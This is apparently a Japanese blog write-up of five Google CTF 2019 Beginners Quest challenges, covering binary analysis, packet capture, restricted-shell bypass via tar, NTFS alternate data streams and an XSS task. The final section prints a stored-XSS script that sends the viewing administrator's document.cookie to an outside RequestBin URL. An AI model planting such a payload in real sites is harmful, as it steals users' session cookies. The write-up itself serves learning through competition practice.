Google CTF 2019 Wrietup (Beginners)
6月22日から23日にかけてGoogle CTFが開催されていたため、参加しました。本選のほうは解けなかったため、Begginers Questのほうにチャレンジし、5問ほど解けたのでそのWriteupを記載します。
■Enter Space-Time Coordinates
ELFファイルを渡されるため、まずはファイルを実行してみる。
実行すると上記のように、入力が求められるため、適当な文字列を入力するとフラグを取れると推測。ltraceやstrace等を利用して簡単にトレースをしてみるが、フラグが見つけれなかったため、無償なデコンパイラGhidraを使って解析。フラグゲット。
(単純にstrings ./rand2 | grep CTFとかでも解くことが出来ました。)
■2問目 Satellite (Network)
Networkのカテゴリにも関わらず、ELFファイルを渡されたためとりあえず実行してみ
る。
上記のように実行すると”Enter the name of the satellite to connect to or 'exit' to quit”と表示されるので、今回のCTFストーリーのSatellite名である”Osmium”と入力pするとGoogleドキュメントのURLが表示された。URLにアクセスすると、下記の文字列が書かれたファイルが表示された。
VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==
Base64でデコードすると、下記のようになる。
Username: wireshark-rocks
Password: start-sniffing!
特にPCAPファイルは今までなかったため、ここでどうすべきか悩んだが、Passwordがstart-sniffing!のため、通信にフラグがあるのではないかと推測する。
-sudo tcpdump -w sniffing2.pcap
tcpdumpでパケットをキャプチャした状態で、ELFファイルを実行。キャプチャしたファイルをWiresharkで見るとフラグゲット。
■3問目 Work Computer (SandBox)
問題からサーバ名とポートが渡されるため、ncコマンドを使って接続する。
-nc readme.ctfcompetition.com 1337
lsコマンドを使うと、README.flagが見えるがcatやless等の表示系のコマンドを制限されており、中身が見れない。
他のコマンドのオプションを使って、この制限をバイパスして表示できないか検討。
/binや/usr./binで実行可能コマンドを探していると、tarコマンドを発見し、下記の通り標準出力が可能なオプション(-O)があることを発見。
下記の2つのコマンドを実行し、フラグゲット。
■4問目 Home Computer (Forensic)
フォレンジックの問題で、ntfsファイルが渡される。まずはFTKImagerを使ってマウントする。するとほとんどのファイルが0バイトだが、Documentsの中にcredentials.txtという1バイトのテキストファイルがあるので開いてみる。
情報を拡張属性に入れているとあるので、拡張属性を確認すると、やはり$DATAに何らかの情報が埋め込まれていることを確認。
more < credentials.txt:FILE0:$DATAとしても、なぜかうまくバイトを取り出せなかったため(エンコードされるため?)、ADS Managerという拡張属性を確認出来るツールを使って、credentials.txt:FILE0:$DATAをtemp.pngという名前でエクスポートする。
中身はpngファイルで開くとフラグゲット。
■5問目 Government Agriculture Network (Web)
下記WebサイトのURLを渡されるので、サイトにアクセスするとPostする項目がある。
https://govagriculture.web.ctfcompetition.com/
適当にPostすると、AdministratorがPost内容をチェックすると表示される。
これよりXSSを利用し、Administratorをサイトに誘導するとなんらかの情報を取れるのではと推測。下記の内容をPostして、CookieをクエリにつけてRequestBinにリダイレクトされるようにすると、RequestBinにCookie(フラグ)がついたアクセスが確認でき、フラグゲット。
<script>
location.href='RequestBinのURL?cookie='+document.cookie;</script>